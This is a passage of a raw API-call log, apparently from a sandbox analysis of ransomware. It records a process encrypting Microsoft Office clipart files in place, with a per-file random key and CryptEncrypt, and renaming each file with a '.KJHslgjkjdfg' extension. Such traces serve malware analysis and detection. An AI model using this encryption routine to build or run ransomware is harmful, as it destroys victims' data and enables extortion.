[0188.643] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.643] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0188.645] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.645] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.645] GetProcessHeap () returned 0x990000 [0188.645] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.645] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.645] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.645] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.645] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.645] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.645] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.645] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.646] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.646] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.646] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.646] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.646] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1b2e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1b2e, lpOverlapped=0x0) returned 1 [0188.646] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b30, dwBufLen=0x1b30 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b30) returned 1 [0188.646] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.646] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1b30, lpOverlapped=0x0) returned 1 [0188.647] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.647] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.647] SetEndOfFile (hFile=0x130) returned 1 [0188.649] GetProcessHeap () returned 0x990000 [0188.649] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.649] GetProcessHeap () returned 0x990000 [0188.649] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.649] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf.kjhslgjkjdfg")) returned 1 [0188.651] CloseHandle (hObject=0x130) returned 1 [0188.651] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d81900, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27d81900, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x3670, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EN00006_.WMF", cAlternateFileName="")) returned 1 [0188.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.653] GetProcessHeap () returned 0x990000 [0188.653] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.653] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.653] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.653] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.653] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.653] GetProcessHeap () returned 0x990000 [0188.653] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.653] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.653] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.653] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.656] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.656] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.656] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.656] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.656] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.656] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.656] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.656] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.656] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3670, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3670, lpOverlapped=0x0) returned 1 [0188.657] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3670, dwBufLen=0x3670 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3670) returned 1 [0188.658] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.658] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3670, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3670, lpOverlapped=0x0) returned 1 [0188.658] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.658] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.658] SetEndOfFile (hFile=0x130) returned 1 [0188.661] GetProcessHeap () returned 0x990000 [0188.661] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.661] GetProcessHeap () returned 0x990000 [0188.661] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.661] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf.kjhslgjkjdfg")) returned 1 [0188.662] CloseHandle (hObject=0x130) returned 1 [0188.662] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57852200, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x57852200, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x1b1a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EN00202_.WMF", cAlternateFileName="")) returned 1 [0188.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.664] GetProcessHeap () returned 0x990000 [0188.664] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.664] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.664] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.664] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0188.666] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.666] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.666] GetProcessHeap () returned 0x990000 [0188.666] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.667] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.667] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.667] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.667] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.667] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.667] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.667] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.667] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.667] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.667] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.667] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.667] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1b1a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1b1a, lpOverlapped=0x0) returned 1 [0188.668] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b20, dwBufLen=0x1b20 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b20) returned 1 [0188.668] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.669] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1b20, lpOverlapped=0x0) returned 1 [0188.669] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.669] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1bf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.669] SetEndOfFile (hFile=0x130) returned 1 [0188.672] GetProcessHeap () returned 0x990000 [0188.672] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.672] GetProcessHeap () returned 0x990000 [0188.672] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.672] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf.kjhslgjkjdfg")) returned 1 [0188.673] CloseHandle (hObject=0x130) returned 1 [0188.673] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7a68a00, ftCreationTime.dwHighDateTime=0x1bd4b29, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7a68a00, ftLastWriteTime.dwHighDateTime=0x1bd4b29, nFileSizeHigh=0x0, nFileSizeLow=0x3044, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EN00222_.WMF", cAlternateFileName="")) returned 1 [0188.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.674] GetProcessHeap () returned 0x990000 [0188.674] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.674] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.674] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.674] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0188.679] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.679] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.679] GetProcessHeap () returned 0x990000 [0188.679] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.679] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.679] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.679] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.679] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.679] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.679] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.680] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.680] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.680] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.680] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.680] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.680] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3044, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3044, lpOverlapped=0x0) returned 1 [0188.681] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3050, dwBufLen=0x3050 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3050) returned 1 [0188.681] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.681] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3050, lpOverlapped=0x0) returned 1 [0188.681] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.681] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.682] SetEndOfFile (hFile=0x130) returned 1 [0188.684] GetProcessHeap () returned 0x990000 [0188.684] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.684] GetProcessHeap () returned 0x990000 [0188.684] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.684] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf.kjhslgjkjdfg")) returned 1 [0188.686] CloseHandle (hObject=0x130) returned 1 [0188.686] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1dc9900, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1dc9900, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EN00242_.WMF", cAlternateFileName="")) returned 1 [0188.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.688] GetProcessHeap () returned 0x990000 [0188.689] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.689] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.689] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.689] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.691] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.691] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.691] GetProcessHeap () returned 0x990000 [0188.691] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.691] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.691] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.691] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.692] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.692] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, 